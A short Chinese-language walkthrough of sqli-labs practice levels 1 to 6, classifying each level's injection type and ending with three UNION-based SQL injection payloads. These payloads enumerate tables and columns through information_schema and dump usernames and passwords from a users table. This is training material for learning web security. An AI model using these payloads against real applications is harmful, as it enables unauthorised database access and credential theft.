sql-labs 靶场练习1~6

Less-1

判断注入类型为字符型注入

 判断注入点为order by 3

 

查看当前数据库(security)的所有表 

查看当前数据库(security)中users表内的所有字段

 

 

查看当前数据库(security)中users表中的值

 

 Less-2

判断注入类型为整形注入

 与Less-1判断注入点

 

 其余如上步骤爆破步骤

Less-3

判断注入类型带括号的单引号字符型注入

 其余如上步骤判断注入点和爆破步骤

 Less-4

判断注入类型为带括号的双引号字符型注入

  其余如上步骤判断注入点和爆破步

Less-5

判断注入类型为单引号字符注入

 Less-6

判断注入类型双引号字符型注入

 爆破数据的步骤

 1.查看当前数据库(security)的所有表

select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()  %23

2.查看当前数据库(security)中users表内的所有字段

select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' %23

3.查看当前数据库(security)中users表中的值

select 1,2,concat(username,0x7e,password) from users limit 0,1 %23